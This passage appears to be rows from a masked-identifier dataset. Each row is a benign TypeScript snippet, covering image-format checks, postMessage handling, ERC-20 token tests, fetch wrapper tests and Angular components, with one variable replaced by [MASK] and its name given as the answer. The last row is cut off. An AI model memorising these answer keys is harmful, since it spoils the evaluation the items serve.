0,"
import {checkAvifFeature} from ""./check-avif-feature.js"";
import {checkWebpFeature} from ""./check-webp-feature.js"";


type FormatType = ""avif"" | ""webp"" | null;

const promisesPool: ((value: FormatType) => void)[] = [];

const resolvePromises = (format: FormatType): void => {
    promisesPool.forEach((resolve) => resolve(format));
};

const checkFormats = async (): Promise<void> => {
    const isAvif = await checkAvifFeature();
    if (isAvif) {
        resolvePromises(""avif"");
        return;
    }

    const  [MASK]  = await checkWebpFeature();
    if ( [MASK] ) {
        resolvePromises(""webp"");
        return;
    }

    resolvePromises(null);
};

export const getFormatFeatures = (): Promise<FormatType> => {
    if (promisesPool.length === 0) {
        checkFormats();
    }

    return new Promise((resolve) => {
        promisesPool.push(resolve);
    });
};
",isWebp
1,"import * as v from 'valibot'

type Message<
  Type extends string,
  Payload extends object | undefined = undefined,
> = Payload extends object ? { type: Type } & Payload : { type: Type }

export type MessageToHostApp =
  | Message<'request-auth-token'>
  | Message<'request-query-params'>
  | Message<'set-query-params', { queryParams: Record<string, string | undefined> }>

const messageFromHostApp = v.union([
  v.object({
    type: v.literal('theme'),
    theme: v.picklist(['light', 'dark']),
  }),
  v.object({
    type: v.literal('set-auth-token'),
    authToken: v.string(),
  }),
  v.object({
    type: v.literal('remove-auth-token'),
  }),
  v.object({
    type: v.literal('query-params-updated'),
    queryParams: v.record(v.string(), v.string()),
  }),
])

export type MessageFromHostApp = v.InferInput<typeof messageFromHostApp>

export function useHostAppMessaging() {
  function onHostAppMessage<MessageType extends MessageFromHostApp['type']>(
    type: MessageType,
    callback: (message: Extract<MessageFromHostApp, { type: MessageType }>) => void,
  ): void {
    useEventListener('message', async ( [MASK] ) => {
      const { hostAppOrigin } = await resolveConfig()
      if ( [MASK] .origin !== hostAppOrigin) {
        return
      }

      const result = v.safeParse(messageFromHostApp,  [MASK] .data)
      if (!result.success || result.output.type !== type) {
        return
      }

      callback(result.output as Extract<MessageFromHostApp, { type: MessageType }>)
    })
  }

  async function notifyHostApp(message: MessageToHostApp): Promise<void> {
    const { hostAppOrigin } = await resolveConfig()
    globalThis.window.parent.postMessage(message, hostAppOrigin)
  }

  return {
    onHostAppMessage,
    notifyHostApp,
  }
}
",event
2,"import * as yargs from 'yargs';

export class CliApp {
    private args: yargs.Argv;
    constructor() {
        this.init();
    }

    public init(): void {
        // Init as described in: https://github.com/yargs/yargs/blob/master/docs/advanced.md#using-the-non-singleton-interface
        this.args = yargs((process.argv.slice(2)))
            .command('download heartrate <startdate> [enddate]', 'the serve command', (args: yargs.Argv) => {
                return yargs.option('samples', {
                    default: 50000,
                    type: 'number',
                    description: 'The number of samples for heartrate to download'
                }).option('enddate', {
                    demand: false,
                    type: 'string',
                    description: 'A date formated like 2019-10-12'
                }).option('startdate', {
                    demand: true,
                    type: 'string',
                    description: 'A date formated like 2019-10-12'
                });

            }, (argv) => {
                const  [MASK] : RegExp = /^([12]\d{3}-(0[1-9]|1[0-2])-(0[1-9]|[12]\d|3[01]))$/;
                if (! [MASK] .test(argv.startdate)) {
                    throw new Error(""The provided startDate does not seem valid"");
                }
                if (argv.enddate) {
                    if (! [MASK] .test(argv.enddate)) {
                        throw new Error(""The provided endDate does not seem valid"");
                    }
                    if (argv.startdate.localeCompare(argv.enddate) >= 0) {
                        throw new Error(""Enddate must be after startdate"");
                    }
                }

            })
            .option('password', {
                'string': true,
                demand: true,
                description: 'The password you use to login to flow.polar.com'
            })
            .option('email', {
                'string': true,
                demand: true,
                description: 'The email you use to login to flow.polar.com'
            })
            .demandOption(['email', 'password'], 'Please provide both run and path arguments to work with this tool')
            .help();
    }
    public start(): void {

    }
}",dateRegex
3,"import { u128, VM, Context as VMContext } from ""near-sdk-as"";
import {
  name, symbol, decimals,
  totalSupply, initialize, balanceOf, transfer,
  allowance, approve, transferFrom
} from ""../erc20"";
import { getNewestTransferEvent, getNewestApprovalEvent } from ""../events""

// accounts
const zero = ""0x0"";                 // the ""zero-account"" as specified by ERC-20
const contract = ""example-token"";   // initialized with totalSupply()
const alice = ""alice"";              // valid account
const bob = ""bob"";                  // valid account
const carol = ""carol"";              // valid account
const derek = ""derek"";              // invalid account

// token metadata
const _name = ""<NAME> Token"";
const _symbol = ""SWT"";
const _decimals: u8 = 2;
const _supply = 100_000_000;

// wallet sizes
const small = u128.from(111)
const medium = u128.from(222)
const large = u128.from(333)

function logs(): string[] {
  return VM.outcome().logs;
}

describe(""ERC-20 Token (optional)"", () => {
  beforeAll(() => {
    VMContext.setCurrent_account_id(contract);
    VMContext.setSigner_account_id(contract);
  })

  it(""should have a name"", () => {
    expect(name()).toBe(_name)
  })

  it(""should have a symbol"", () => {
    expect(symbol()).toBe(_symbol)
  })

  it(""should have decimals"", () => {
    expect(decimals()).toBe(_decimals)
  })
})

describe(""ERC-20 Token (startup)"", () => {
  it(""should respond to totalSupply()"", () => {
    expect(totalSupply()).toBe(u128.from(_supply))
  })

  it(""should initially assign entire token supply to a single account"", () => {
    // after successful initialization
    VMContext.setCurrent_account_id(contract);
    VMContext.setSigner_account_id(contract);
    expect(initialize()).toBeTruthy();

    // the balance of the initial owner should match the total supply
    expect(balanceOf(contract)).toBe(totalSupply())
  })

  it(""should record an initial transfer event"", () => {
    // and event lots should include a record of the TransferEvent
    // log(logs())
    // log(getNewestTransferEvent())
    const event = getNewestTransferEvent();
    expect(event.spender).toBe(zero);
    expect(event.from).toBe(zero);
    expect(event.to).toBe(contract);
    expect(event.value).toBe(totalSupply());
  })
})

describe(""ERC-20 Token (steady state) "", () => {
  beforeEach(() => {
    // prepare the reset balances after each test
    VM.saveState()

    // prepare to send a transaction as if coming from the contract account
    VMContext.setCurrent_account_id(contract);
    VMContext.setSigner_account_id(contract);
    initialize()

    // spread the wealth around
    transfer(alice, small)
    transfer(bob, medium)
    transfer(carol, large)
    // derek gets no love here
  })

  afterEach(() => {
    VM.restoreState()     // reset balances after each test
    // log(logs())
  })

  describe(""Transfers"", () => {
    it(""should allow transfers between accounts"", () => {
      // record starting balances
      const aliceStart = balanceOf(alice);
      const bobStart = balanceOf(bob);

      // assume alice signs a transfer transaction
      VMContext.setSigner_account_id(alice);

      // alice transfers amount to bob
      const amount = u128.from(10);
      transfer(bob, amount);

      // respective balances should reflect the change
      expect(balanceOf(alice)).toBe(u128.sub(aliceStart, amount));
      expect(balanceOf(bob)).toBe(u128.add(bobStart, amount));

      // test that a transfer event was recorded
      // log(getNewestTransferEvent())
      const event = getNewestTransferEvent();
      expect(event.spender).toBe(alice);
      expect(event.from).toBe(alice);
      expect(event.to).toBe(bob);
      expect(event.value).toBe(amount);
    })

    throws(""should not allow transfers if balance is too low"", () => {
      // assume alice signs a transfer transaction
      VMContext.setSigner_account_id(alice);

      // alice transfers amt to bob
      let amount = u128.from(10);
      transfer(bob, amount);

      // assume bob signs a transfer transaction
      VMContext.setSigner_account_id(bob);

      // record starting balances
      const bobStartBalance = balanceOf(bob);

      // bob attempts to transfer amount to carol but fails
      amount = u128.from(999);
      transfer(carol, amount);     // expect this line to throw an exception
    })

    throws(""should not allow transfers from unfunded accounts"", () => {
      // assume derek signs a transfer transaction
      VMContext.setSigner_account_id(derek);

      // derek attempts to transfer amount to alice even though he has no tokens
      const amount = u128.from(1);
      transfer(alice, amount)
    })

  })

  describe(""Transfer Delegation "", () => {
    it(""should gracefully default to zero allowance"", () => {
      expect(allowance(alice, bob)).toBe(u128.Zero);
    })

    it(""should support approved allowances"", () => {
      const approvedAmount = u128.from(10)

      // assume alice signs a transfer transaction
      VMContext.setSigner_account_id(alice);

      // alice approves bob to spend 10 tokens on her behalf
      approve(bob, approvedAmount)

      expect(allowance(alice, bob)).toBe(u128.from(10));

      // test that a approve event was recorded
      // log(getNewestApprovalEvent())
      const event = getNewestApprovalEvent();
      expect(event.owner).toBe(alice);
      expect(event.spender).toBe(bob);
      expect(event.oldValue).toBe(u128.Zero);
      expect(event.value).toBe(approvedAmount);
    })

    it(""should support updating allowances"", () => {
      const limit1 = u128.from(10)
      const limit2 = u128.from(20)

      // assume alice signs a transfer transaction
      VMContext.setSigner_account_id(alice);

      // alice approves bob to spend some limit of tokens on her behalf
      approve(bob, limit1)
      expect(allowance(alice, bob)).toBe(limit1);

      // test that a approve event was recorded
      // log(getNewestApprovalEvent())
      const event1 = getNewestApprovalEvent();
      expect(event1.owner).toBe(alice);
      expect(event1.spender).toBe(bob);
      expect(event1.oldValue).toBe(u128.Zero);
      expect(event1.value).toBe(limit1);

      // alice approves bob to spend a different limit of tokens on her behalf
      approve(bob, limit2)
      expect(allowance(alice, bob)).toBe(limit2);

      // test that a approve event was recorded
      // log(getNewestApprovalEvent())
      const  [MASK]  = getNewestApprovalEvent();
      expect( [MASK] .owner).toBe(alice);
      expect( [MASK] .spender).toBe(bob);
      expect( [MASK] .oldValue).toBe(limit1);
      expect( [MASK] .value).toBe(limit2);
    })

    throws(""should avoid approving allowances when owner has insufficient funds"", () => {
      const approvedAmount = u128.from(10)

      // assume derek signs a transfer transaction
      VMContext.setSigner_account_id(derek);

      // derek approves bob to spend 10 tokens on his behalf
      approve(bob, approvedAmount)

      // test that a approve event was recorded
      // log(getNewestApprovalEvent())
      const event = getNewestApprovalEvent();
      expect(event.owner).toBe(alice);
      expect(event.spender).toBe(bob);
      expect(event.oldValue).toBe(u128.from(0));
      expect(event.value).toBe(approvedAmount);
    })

    it(""should allow approved transfers"", () => {
      const approvedAmount = u128.from(10)
      const transferredAmount = u128.from(9)

      // assume alice signs a transfer transaction
      VMContext.setSigner_account_id(alice);

      // alice approves bob to spend 10 tokens on her behalf
      approve(bob, approvedAmount)

      // test that a approve event was recorded
      // log(getNewestApprovalEvent())
      const approvalEvent = getNewestApprovalEvent();
      expect(approvalEvent.owner).toBe(alice);
      expect(approvalEvent.spender).toBe(bob);
      expect(approvalEvent.oldValue).toBe(u128.Zero);
      expect(approvalEvent.value).toBe(approvedAmount);

      // assume bob signs a transfer transaction
      VMContext.setSigner_account_id(bob);

      const aliceBefore = balanceOf(alice);
      const carolBefore = balanceOf(carol);

      transferFrom(alice, carol, transferredAmount);

      expect(balanceOf(alice)).toBe(u128.sub(aliceBefore, transferredAmount))
      expect(balanceOf(carol)).toBe(u128.add(carolBefore, transferredAmount))

      // test that a transfer event was recorded
      // log(getNewestTransferEvent())
      const transferEvent = getNewestTransferEvent();
      expect(transferEvent.spender).toBe(bob);
      expect(transferEvent.from).toBe(alice);
      expect(transferEvent.to).toBe(carol);
      expect(transferEvent.value).toBe(transferredAmount);

    })

    describe("""", () => {
      beforeEach(() => {
        // assume alice signs a transfer transaction
        VMContext.setSigner_account_id(alice);

        // alice approves bob to spend 10 tokens on her behalf
        approve(bob, u128.from(10))

        // assume bob signs a transfer transaction
        VMContext.setSigner_account_id(bob);
      })

      throws(""should disallow transfers that exceed allowance limit"", () => {
        transferFrom(alice, carol, u128.from(11));
      })

      throws(""should disallow transfers that incrementally rise above allowance limit"", () => {
        transferFrom(alice, carol, u128.from(9));
        transferFrom(alice, carol, u128.from(2));
      })

    })
  })
})",event2
4,"import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { apiCall } from './api';

// Mock the auth module - move this before any constants
vi.mock('./auth', () => {
  return {
    refreshToken: vi.fn(),
  };
});

// Get the mocked function after vi.mock
const mockRefreshToken = vi.mocked(await import('./auth')).refreshToken;

// Mock fetch globally
const mockFetch = vi.fn();
global.fetch = mockFetch;

// Helper to create mock Response objects
const createMockResponse = (
  status: number,
  body: unknown = {},
  ok?: boolean
): Response => {
  const response = {
    status,
    ok: ok !== undefined ? ok : status >= 200 && status < 300,
    json: vi.fn().mockResolvedValue(body),
    text: vi
      .fn()
      .mockResolvedValue(
        typeof body === 'string' ? body : JSON.stringify(body)
      ),
  } as unknown as Response;
  return response;
};

// Helper to set document.cookie
const setCookie = (name: string, value: string) => {
  Object.defineProperty(document, 'cookie', {
    writable: true,
    value: `${name}=${encodeURIComponent(value)}`,
    configurable: true,
  });
};

describe('apiCall', () => {
  beforeEach(() => {
    vi.clearAllMocks();
    // Clear cookies
    Object.defineProperty(document, 'cookie', {
      writable: true,
      value: '',
      configurable: true,
    });
  });

  afterEach(() => {
    vi.restoreAllMocks();
  });

  describe('basic functionality', () => {
    it('makes a successful GET request', async () => {
      const mockResponseData = { success: true };
      mockFetch.mockResolvedValue(createMockResponse(200, mockResponseData));

      const result = await apiCall('https://api.example.com/test');

      expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/test', {
        credentials: 'include',
        headers: {
          'Content-Type': 'application/json',
        },
      });
      expect(result.status).toBe(200);
    });

    it('makes a successful POST request with body', async () => {
      const requestBody = { name: 'test' };
      const mockResponseData = { id: 1, name: 'test' };
      mockFetch.mockResolvedValue(createMockResponse(201, mockResponseData));

      const result = await apiCall('https://api.example.com/create', {
        method: 'POST',
        body: JSON.stringify(requestBody),
      });

      expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/create', {
        method: 'POST',
        body: JSON.stringify(requestBody),
        credentials: 'include',
        headers: {
          'Content-Type': 'application/json',
        },
      });
      expect(result.status).toBe(201);
    });

    it('handles 204 No Content responses', async () => {
      mockFetch.mockResolvedValue(createMockResponse(204, null, true));

      const result = await apiCall('https://api.example.com/delete', {
        method: 'DELETE',
      });

      expect(result.status).toBe(204);
    });

    it('preserves custom headers', async () => {
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      await apiCall('https://api.example.com/test', {
        headers: {
          'Custom-Header': 'custom-value',
          'Content-Type': 'text/plain',
        },
      });

      expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/test', {
        credentials: 'include',
        headers: {
          'Content-Type': 'text/plain', // Custom content type should override
          'Custom-Header': 'custom-value',
        },
      });
    });
  });

  describe('CSRF token handling', () => {
    it('adds CSRF token to non-GET requests when token exists', async () => {
      setCookie('csrf_token', '<PASSWORD>');
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      await apiCall('https://api.example.com/create', {
        method: 'POST',
        body: JSON.stringify({ test: 'data' }),
      });

      expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/create', {
        method: 'POST',
        body: JSON.stringify({ test: 'data' }),
        credentials: 'include',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': 'test-csrf-token',
        },
      });
    });

    it('omits CSRF token with GET methods', async () => {
      setCookie('csrf_token', '<PASSWORD>');
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      await apiCall('https://api.example.com/test', { method: 'GET' });

      // Check that CSRF token is not included in headers
      const calledOptions = mockFetch.mock.calls?.[0]?.[1] as RequestInit;
      expect(calledOptions['headers']).not.toHaveProperty('X-CSRF-Token');
    });

    it('handles missing CSRF token gracefully', async () => {
      // No CSRF token in cookies
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      await apiCall('https://api.example.com/create', {
        method: 'POST',
      });

      expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/create', {
        method: 'POST',
        credentials: 'include',
        headers: {
          'Content-Type': 'application/json',
          // No X-CSRF-Token header
        },
      });
    });
  });

  describe('error handling', () => {
    it('throws error for non-2xx status codes', async () => {
      const  [MASK]  = { message: 'Bad Request' };
      mockFetch.mockResolvedValue(
        createMockResponse(400,  [MASK] , false)
      );

      await expect(apiCall('https://api.example.com/error')).rejects.toThrow(
        'Bad Request'
      );
    });

    it('throws generic error when no error message in response', async () => {
      mockFetch.mockResolvedValue(createMockResponse(500, {}, false));

      await expect(apiCall('https://api.example.com/error')).rejects.toThrow(
        'HTTP error! status: 500'
      );
    });

    it('handles malformed JSON error responses', async () => {
      const mockResponse = {
        status: 400,
        ok: false,
        json: vi.fn().mockRejectedValue(new Error('Invalid JSON')),
      } as unknown as Response;
      mockFetch.mockResolvedValue(mockResponse);

      await expect(apiCall('https://api.example.com/error')).rejects.toThrow(
        'Invalid JSON'
      );
    });

    it('handles network errors', async () => {
      const networkError = new Error('Network error');
      mockFetch.mockRejectedValue(networkError);

      await expect(apiCall('https://api.example.com/error')).rejects.toThrow(
        'Network error'
      );
    });

    it('handles timeout errors', async () => {
      const timeoutError = new Error('Request timeout');
      mockFetch.mockRejectedValue(timeoutError);

      await expect(apiCall('https://api.example.com/slow')).rejects.toThrow(
        'Request timeout'
      );
    });
  });

  describe('authentication and token refresh', () => {
    it('handles 401 response by attempting token refresh and retrying', async () => {
      const successResponse = createMockResponse(200, { data: 'success' });

      mockFetch
        .mockResolvedValueOnce(createMockResponse(401, {}, false)) // First call fails with 401
        .mockResolvedValueOnce(successResponse); // Retry succeeds

      mockRefreshToken.mockResolvedValue(true);

      const result = await apiCall('https://api.example.com/protected');

      expect(mockFetch).toHaveBeenCalledTimes(2);
      expect(mockRefreshToken).toHaveBeenCalledTimes(1);
      expect(result.status).toBe(200);
    });

    it('throws error when token refresh fails', async () => {
      mockFetch.mockResolvedValue(createMockResponse(401, {}, false));
      mockRefreshToken.mockResolvedValue(false);

      await expect(
        apiCall('https://api.example.com/protected')
      ).rejects.toThrow('Authentication failed');

      expect(mockFetch).toHaveBeenCalledTimes(1);
      expect(mockRefreshToken).toHaveBeenCalledTimes(1);
    });

    it('does not attempt refresh for auth/refresh endpoint', async () => {
      mockFetch.mockResolvedValue(createMockResponse(401, {}, false));

      await expect(
        apiCall('https://api.example.com/auth/refresh')
      ).rejects.toThrow('Authentication failed');

      expect(mockFetch).toHaveBeenCalledTimes(1);
      expect(mockRefreshToken).not.toHaveBeenCalled();
    });

    it('handles successful token refresh but failed retry', async () => {
      mockFetch
        .mockResolvedValueOnce(createMockResponse(401, {}, false)) // First call fails
        .mockResolvedValueOnce(
          createMockResponse(403, { message: 'Forbidden' }, false)
        ); // Retry fails with different error

      mockRefreshToken.mockResolvedValue(true);

      await expect(
        apiCall('https://api.example.com/protected')
      ).rejects.toThrow('Forbidden');

      expect(mockFetch).toHaveBeenCalledTimes(2);
      expect(mockRefreshToken).toHaveBeenCalledTimes(1);
    });

    it('handles token refresh throwing an error', async () => {
      mockFetch.mockResolvedValue(createMockResponse(401, {}, false));
      mockRefreshToken.mockRejectedValue(new Error('Refresh failed'));

      await expect(
        apiCall('https://api.example.com/protected')
      ).rejects.toThrow('Refresh failed'); // The test should match the actual error from the mock

      expect(mockFetch).toHaveBeenCalledTimes(1);
      expect(mockRefreshToken).toHaveBeenCalledTimes(1);
    });

    it('preserves original request options in retry', async () => {
      const requestBody = { data: 'test' };
      const customHeaders = { 'Custom-Header': 'value' };

      mockFetch
        .mockResolvedValueOnce(createMockResponse(401, {}, false))
        .mockResolvedValueOnce(createMockResponse(200, { success: true }));

      mockRefreshToken.mockResolvedValue(true);

      await apiCall('https://api.example.com/protected', {
        method: 'POST',
        body: JSON.stringify(requestBody),
        headers: customHeaders,
      });

      // Check that both calls had the same options
      expect(mockFetch).toHaveBeenCalledTimes(2);
      expect(mockFetch).toHaveBeenNthCalledWith(
        1,
        'https://api.example.com/protected',
        {
          method: 'POST',
          body: JSON.stringify(requestBody),
          credentials: 'include',
          headers: {
            'Content-Type': 'application/json',
            'Custom-Header': 'value',
          },
        }
      );
      expect(mockFetch).toHaveBeenNthCalledWith(
        2,
        'https://api.example.com/protected',
        {
          method: 'POST',
          body: JSON.stringify(requestBody),
          credentials: 'include',
          headers: {
            'Content-Type': 'application/json',
            'Custom-Header': 'value',
          },
        }
      );
    });
  });

  describe('console logging', () => {
    it('logs debug information for requests and responses', async () => {
      const consoleSpy = vi
        .spyOn(console, 'debug')
        .mockImplementation(() => {});
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      await apiCall('https://api.example.com/test');

      expect(consoleSpy).toHaveBeenCalledWith(
        'Making API call to: https://api.example.com/test'
      );
      expect(consoleSpy).toHaveBeenCalledWith(
        'Response status: 200 for URL: https://api.example.com/test'
      );

      consoleSpy.mockRestore();
    });

    it('logs errors when API calls fail', async () => {
      const consoleSpy = vi
        .spyOn(console, 'error')
        .mockImplementation(() => {});
      const networkError = new Error('Network failure');
      mockFetch.mockRejectedValue(networkError);

      await expect(apiCall('https://api.example.com/error')).rejects.toThrow();

      expect(consoleSpy).toHaveBeenCalledWith(
        'API call failed: Network failure'
      );

      consoleSpy.mockRestore();
    });
  });

  describe('request options handling', () => {
    it('merges provided options with defaults', async () => {
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      await apiCall('https://api.example.com/test', {
        method: 'PUT',
        cache: 'no-cache' as RequestCache,
        redirect: 'follow' as RequestRedirect,
      });

      expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/test', {
        method: 'PUT',
        cache: 'no-cache',
        redirect: 'follow',
        credentials: 'include',
        headers: {
          'Content-Type': 'application/json',
        },
      });
    });

    it('handles undefined options parameter', async () => {
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      await apiCall('https://api.example.com/test');

      expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/test', {
        credentials: 'include',
        headers: {
          'Content-Type': 'application/json',
        },
      });
    });

    it('handles empty options object', async () => {
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      await apiCall('https://api.example.com/test', {});

      expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/test', {
        credentials: 'include',
        headers: {
          'Content-Type': 'application/json',
        },
      });
    });
  });

  describe('HTTP methods', () => {
    it('handles different HTTP methods correctly', async () => {
      setCookie('csrf_token', '<PASSWORD>');
      mockFetch.mockResolvedValue(createMockResponse(200, {}));

      const methods = ['POST', 'PUT', 'PATCH', 'DELETE'];

      for (const method of methods) {
        mockFetch.mockClear();

        await apiCall('https://api.example.com/test', { method });

        expect(mockFetch).toHaveBeenCalledWith('https://api.example.com/test', {
          method,
          credentials: 'include',
          headers: {
            'Content-Type': 'application/json',
            'X-CSRF-Token': '<PASSWORD>',
          },
        });
      }
    });
  });

  describe('edge cases', () => {
    it('handles null response body', async () => {
      const mockResponse = {
        status: 200,
        ok: true,
        json: vi.fn().mockResolvedValue(null),
      } as unknown as Response;
      mockFetch.mockResolvedValue(mockResponse);

      const result = await apiCall('https://api.example.com/test');

      expect(result.status).toBe(200);
    });
  });
});
",errorResponse
5,"import { EmotivePoint } from ""../shared/models/emotivePoint"";
import { Face } from ""../shared/models/faces"";
import * as FaceApi from ""../shared/faceapi"";
import * as emojiLookup from ""emoji-dictionary"";

const EMOJIS_TO_TRAIN = [
  ""☺️"",
  ""🤓"",
  ""😃"",
  ""😆"",
  ""😉"",
  ""😍"",
  ""😎"",
  ""😐"",
  ""😕"",
  ""😖"",
  ""😘"",
  ""😜"",
  ""😝"",
  ""😠"",
  ""😧"",
  ""😩"",
  ""😬"",
  ""😭"",
  ""😱"",
  ""😳"",
  ""😴""
];

async function getCalibrationArrayString(context) {
  let str = ""["";

  for (let emoji of EMOJIS_TO_TRAIN) {
    context.log(`Processing ${emoji}`);
    // Given an emoji like 😴 returns the word version, like 'sleepy'
    let emojiName = emojiLookup.getName(emoji);
    let emotion = await FaceApi.getEmotionFromLocalProxyImage(context, emojiName);
    let point = new EmotivePoint(emotion);
    let face = new Face(point, null);
    str += `{
        emotiveValues: new EmotivePoint({
            anger: ${emotion.anger},
            contempt: ${emotion.contempt},
            disgust: ${emotion.disgust},
            fear: ${emotion.fear},
            happiness: ${emotion.happiness},
            neutral: ${emotion.neutral},
            sadness: ${emotion.sadness},
            surprise: ${emotion.surprise}
        }),
        emojiIcon: ""${emoji}""
      },`;
  }
  str += ""]"";
  return str;
}

export async function index(context, req) {
    context.log(`Calibrate HTTP trigger`);

    const  [MASK]  = await getCalibrationArrayString(context);
    const body = {MOJIS:  [MASK] };

    context.res = {
      status: 200,
      headers: {
        ""Content-Type"": ""application/json""
      },
      body: body
    };
}",array
6,"class Case {
    CaseID: number;
    DTCreated: Date;
    DTReceived: Date;
    DTClosed: Date;
    DTAbandoned: Date;
    CustomerFirstName: string;
    CustomerLastName: string;
    CustomerUserID: string;
    CustomerComputerName: string;
    CustomerPhone: string;
    CustomerEmail: string;
    SupportCategory: string;
    SupportType: string;
    SupportQueue: string;
    Details: string;
    Locked: boolean;
    LockedBy: string;
}
class Tech_Account {
    FirstName: string;
    LastName: string;
    UserID: string;
    HashedPassword: string;
    AuthenticationToken: string;
    TempPassword: string;
    BadLoginAttempts: number;
    LastBadLogin: Date;
    Email: string;
    ComputerGroups: string[];
    AccessLevel: AccessLevel;
}
class Computer {
    ComputerName: string;
    LastReboot: Date;
    CurrentUser: string;
    LastLoggedOnUser: string;
    ComputerGroup: string;
}
enum AccessLevel {
    Standard,
    Admin
}
enum ConnectionType {
    Customer,
    Technician
}
class Main_Model {
    constructor() {
        this.Cases = [];
    }
    UserID: string;
    AuthenticationToken: string;
    LoggedIn: boolean;
    Socket_Main: WebSocket;
    Socket_Port: string;
    Secure_Socket_Port: string;
    Cases: Case[];
    Tech_Accounts: Tech_Account[];
    Hub_Computers: Computer[];
    Context: ConnectionType;
    LastTypingStatus: Date;
    QueueWaitTimer: null;
    PartnerFirstName: string;
    PartnerLastName: string;
    ComputerGroups: string[];
    Temp: {};
    get HostAndPort():string {
        var  [MASK]  = location.host;
        if (this.Secure_Socket_Port != ""443"") {
            if (location.protocol.search(""https"") > -1) {
                 [MASK]  = location.hostname + "":"" + this.Secure_Socket_Port;
            }
        }
        if (this.Socket_Port != ""80"") {
            if (location.protocol.search(""https"") == -1) {
                 [MASK]  = location.hostname + "":"" + this.Socket_Port;
            }
        }
        return  [MASK] ;
    }
}
const InstaTech = new Main_Model();
InstaTech.Socket_Port = ""80"";
InstaTech.Secure_Socket_Port = ""443"";
InstaTech.Temp = {};",hostAndPort
7,"import {Component} from '@angular/core';
import {StompService} from 'ng2-stomp-service';
import {Subscription} from 'rxjs';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent {
  connected = false;
  greetings = new Array<string>();
  subscription: Subscription = null;

  constructor(private stomp: StompService) {
    stomp.configure({host: '/stomp-websocket'});
  }

  connect() {
    this.stomp.startConnect().then(() => {
      this.connected = true;
      console.log('connected');

      // there appears to be a bug in stomp-service which means the promise is
      // resolved before the connection state is properly changed
      setTimeout(() => {
        console.log('subscribing');
        this.subscription =
          this.stomp.subscribe('/topic/greetings',
            ( [MASK] ) => this.greetings.push( [MASK] .content)
          );
      }, 500);
    });
  }

  disconnect() {
    this.subscription.unsubscribe();
    this.stomp.disconnect().then(() => {
      console.log('disconnected');
      this.connected = false
    });
  }

  sendName(name: string) {
    this.stomp.send('/app/hello', {'name': name});
  }
}
",data
8,"// This code was generated by the angular-custom-elements-schematic.  Any changes will be overwritten next time it runs.
import { Component, ElementRef, ChangeDetectionStrategy, ChangeDetectorRef, NgZone, Input, inject } from '@angular/core';
import { AccordionComponent as AccordionComponentCustomElement, defineAccordionComponent } from '@tylertech/forge';

/**  */
@Component({
  selector: 'forge-accordion',
  changeDetection: ChangeDetectionStrategy.OnPush,
  template: '<ng-content></ng-content>',
  standalone: false
})
export class AccordionComponent {
	protected elementRef = inject<ElementRef<AccordionComponentCustomElement>>(ElementRef);
	protected zone = inject(NgZone);

	/** The forge-accordion element. */
	public readonly nativeElement = this.elementRef.nativeElement;

	/**
	 * Gets/sets the selector to use for finding the child expansion panels. Defaults to searching the direct children for `<forge-expansion-panel>` elements.
	 * Use this if you need to scope this accordion to a specific set of expansion panels, or your expansion panels are not direct children of the accordion.
	 */
	@Input()
	public set panelSelector(value: AccordionComponentCustomElement['panelSelector']) {
		this.zone.runOutsideAngular(() => {
			this.nativeElement.panelSelector = value;
		});
	}
	public get panelSelector(): AccordionComponentCustomElement['panelSelector'] {
		return this.nativeElement.panelSelector;
	}

	constructor() {
		defineAccordionComponent();
		const  [MASK]  = inject(ChangeDetectorRef);
		 [MASK] .detach();
	}
}
",changeDetectorRef
9,"import { urlGenerator } from './urlGenerator'

export const getParentTitle = (slug: string, allMdx?: any) => {
  const allContent =
    allMdx &&
    allMdx.edges &&
    allMdx.edges.map((mdx: any) => ({
      ...mdx.node.fields,
      title: mdx.node.frontmatter.title,
      staticLink: mdx.node.frontmatter.staticLink,
      codeStyle: mdx.node.frontmatter.codeStyle,
    }))
  allContent?.map((content: any) => {
    content.parentTitle = []
    const parts = content.slug.split('/')
    const  [MASK]  = parts.slice(
      1,
      parts[parts.length - 1] === 'index' ? parts.length - 2 : parts.length - 1
    )
     [MASK] .forEach((part: any) => {
      const parent = allContent.find((ac: any) => {
        const parentParts = ac.slug.split('/')
        return (
          parentParts[parentParts.length - 1] === 'index' &&
          parentParts[parentParts.length - 2] === part
        )
      })
      if (parent) {
        // const parts = parent.slug.split('/')
        // const topLevel = parts.length == 3 && parts[parts.length - 1] === 'index' ? true : false
        content.parentTitle.push({
          title: parent?.title,
          codeStyle: parent?.codeStyle,
          link: urlGenerator(parent.modSlug),
          // link: topLevel || parent.staticLink ? null : urlGenerator(parent.modSlug),
        })
      }
    })
  })
  const currentSlug = allContent.find((mdx: any) => mdx.modSlug === slug)
  return currentSlug ? currentSlug.parentTitle : []
}
",slicedParts
10,"import * as jspb from 'google-protobuf';
import { Event, MethodEnum } from './event_pb';

export class Context {
	private bytes: Uint8Array;

	constructor(bytes: Uint8Array) {
		this.bytes = bytes;
	}

	toObject(pb: any): any {
		const m = pb.deserializeBinary(this.bytes);
		return m.toObject();
	}
}

export interface Router {
	path: string;
	handler(c: Context): void;
}

export class Door {
	private routes: Router[][];

	constructor() {
		this.routes = [];
	}

	openBind(handler: (c: Context) => void, ...paths: string[])  {
		this.add(handler, MethodEnum.OPEN, paths);
	}

	closeBind(handler: (c: Context) => void, ...paths: string[]) {
		this.add(handler, MethodEnum.CLOSE, paths);
	}

	getBind(handler: (c: Context) => void, ...paths: string[]) {
		this.add(handler, MethodEnum.GET, paths);
	}

	putBind(handler: (c: Context) => void,...paths: string[]) {
